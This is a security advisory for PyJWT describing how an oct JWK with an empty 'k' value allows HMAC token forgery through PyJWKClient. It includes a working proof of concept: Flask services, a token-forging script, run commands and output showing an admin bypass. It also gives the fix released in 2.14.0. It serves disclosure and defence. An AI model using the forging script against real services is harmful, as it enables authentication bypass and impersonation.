GHSA-pxh4-856f-4h89

PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery

En bref

Publiée
Mise à jour
CVSS_V3
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

### Summary `HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a `PyJWK`, or a `PyJWK` resolved by `PyJWKSet` / `PyJWKClient`), the HMAC verifier computes `HMAC(key=b"", signing_input)` and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's `kid` to the empty-`k` JWK. The empty-key rejection that `HMACAlgorithm.prepare_key` performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling `from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an `InsecureKeyLengthWarning`, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition. ### Affected versions `PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit `7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not. ### Privilege required Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct key has an empty `k` can forge tokens with arbitrary claims. Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty `k`. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes `b""` into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (`jwt.decode(token, key="")`) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration. ### Vulnerable code `jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380): ```python @staticmethod def from_jwk(jwk: str | JWKDict) -> bytes: try: if isinstance(jwk, str): obj: JWKDict = json.loads(jwk) elif isinstance(jwk, dict): obj = jwk else: raise ValueError except ValueError: raise InvalidKeyError("Key is not valid JSON") from None if obj.get("kty") != "oct": raise InvalidKeyError("Not an HMAC key") return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection ``` Contrast the sibling `prepare_key`, which DID get the guard (lines 325-329): ```python def prepare_key(self, key: str | bytes) -> bytes: key_bytes = force_bytes(key) if len(key_bytes) == 0: raise InvalidKeyError("HMAC key must not be empty.") ``` In `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key material directly, bypassing `prepare_key`, and the length warning is non-fatal by default: ```python if isinstance(key, PyJWK): if alg != key.algorithm_name: raise InvalidAlgorithmError( f"Token algorithm {alg!r} does not match the key's " f"algorithm {key.algorithm_name!r}" ) alg_obj = key.Algorithm prepared_key = key.key # from_jwk output (b""), prepare_key not run else: try: alg_obj = self.get_algorithm_by_name(alg) except NotImplementedError as e: raise InvalidAlgorithmError("Algorithm not supported") from e prepared_key = alg_obj.prepare_key(key) key_length_msg = alg_obj.check_key_length(prepared_key) if key_length_msg: if effective_options.get("enforce_minimum_key_length", False): raise InvalidKeyError(key_length_msg) else: warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds raise InvalidSignatureError("Signature verification failed") ``` `PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a `{"kty":"oct","k":""}` JWK yields `PyJWK.key == b""`. `PyJWKSet` and `PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the JWKS-over-HTTP resolution route is affected identically. The 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM hardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix (GHSA-jq35-7prp-9v3f), and the test suite has `test_hmac_prepare_key_rejects_empty_key` plus `test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty JSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the untested sibling path this report closes. ### How the attacker input reaches the sink An unauthenticated HTTP client controls the bearer token entirely: its `kid` selects the empty-`k` oct JWK, and its signature is computed locally with the empty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt` (kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved `PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b"", sig)`. No secret, credential, or prior session is required; the only server-side precondition is a JWKS oct entry with an empty `k`, which the "unset signing secret" configuration produces. This is the identical trust boundary the string-secret path already guards. ### Proof of concept ### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services) Two services model a standard OIDC-style deployment: an auth service publishing a JWKS, and a protected resource server validating bearer tokens against that JWKS with PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret is sourced from an unset env var (`SIGNING_SECRET` unset -> `""`), so the published oct JWK carries `k == ""`. `idp.py` (auth service): ```python import os, base64 from flask import Flask, jsonify app = Flask(__name__) SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> "" def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() @app.route("/.well-known/jwks.json") def jwks(): return jsonify({"keys": [{ "kty": "oct", "use": "sig", "alg": "HS256", "kid": "auth-signing-2026", "k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == "" }]}) if __name__ == "__main__": app.run(port=9101) ``` `api.py` (protected resource server): ```python from flask import Flask, request, jsonify import jwt from jwt import PyJWKClient app = Flask(__name__) jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json") def authenticate(): auth = request.headers.get("Authorization", "") if not auth.startswith("Bearer "): return None, "missing bearer token" token = auth.split(" ", 1)[1] try: signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"]) except Exception as e: return None, "invalid token: %s" % type(e).__name__ return claims, None @app.route("/api/admin/users") def admin_users(): claims, err = authenticate() if err: return jsonify({"error": err}), 401 if claims.get("role") != "admin": return jsonify({"error": "forbidden"}), 403 return jsonify({"ok": True, "action": "list_all_users", "as_user": claims.get("sub"), "role": claims.get("role")}) if __name__ == "__main__": app.run(port=9102) ``` `forge.py` (attacker; no secret knowledge): ```python import hmac, hashlib, base64, json, sys def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"} payload={"sub":"attacker@evil.example","role":"admin"} si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode()) key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # empty key sig=hmac.new(key, si.encode(), hashlib.sha256).digest() print(si+"."+b64u(sig)) ``` Run: ```bash python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask ( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py & FORGED=$(./v/bin/python forge.py "") curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users ``` Verbatim run (attack, both negative controls, sanity, and patched-build re-run): ``` ### PyJWT version 2.13.0 ### JWKS published by the auth service (note the empty "k"): {"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} ### Baseline: unauthenticated request to admin endpoint HTTP 401 ### ATTACK: attacker forges HS256 admin token signed with the EMPTY key forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ response: {"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"} <-- HTTP 200 ### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject {"error":"invalid token: InvalidSignatureError"} <-- HTTP 401 ### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail JWKS now has non-empty k: {"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} {"error":"invalid token: InvalidSignatureError"} <-- HTTP 401 ### Sanity: a legitimately-signed token with the real secret is accepted {"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"} <-- HTTP 200 ### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected JWKS (empty k, vulnerable config): {"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]} {"error":"invalid token: PyJWKSetError"} <-- HTTP 401 ``` The attack returns HTTP 200 with `role:admin` from an unauthenticated forged token. Both negative controls (wrong non-empty key; real non-empty secret at the auth service) return 401, isolating the defect to empty-key acceptance. The patched build (the `from_jwk` fix below) rejects the forgery. ### Impact - Unauthenticated authentication bypass / token forgery: an attacker mints tokens with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully, yielding full impersonation and privilege escalation on any endpoint gated by such tokens. - Reachable through the documented JWKS verification API (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use. - Triggered by the common "unset signing secret" misconfiguration that the string-secret path already rejects in 2.13.0, leaving the JWK path as an asymmetric gap. ### Suggested fix Reject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that `prepare_key` already applies: ```python if obj.get("kty") != "oct": raise InvalidKeyError("Not an HMAC key") key_bytes = base64url_decode(obj["k"]) if len(key_bytes) == 0: raise InvalidKeyError("HMAC key must not be empty.") return key_bytes ``` This reuses the exact error message and length check the string/bytes path uses, so both HMAC key-loading routes enforce the same invariant. A regression test for the empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`. ### Fix PR https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory temp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`, DCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`, `test_api_jwk.py`, `test_api_jws.py` pass). ### Credit Reported by tonghuaroot. > Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release. ## Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Paquets affectés

PaquetVersions
PyPI · pyjwtintroduced 0, fixed 2.14.0

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database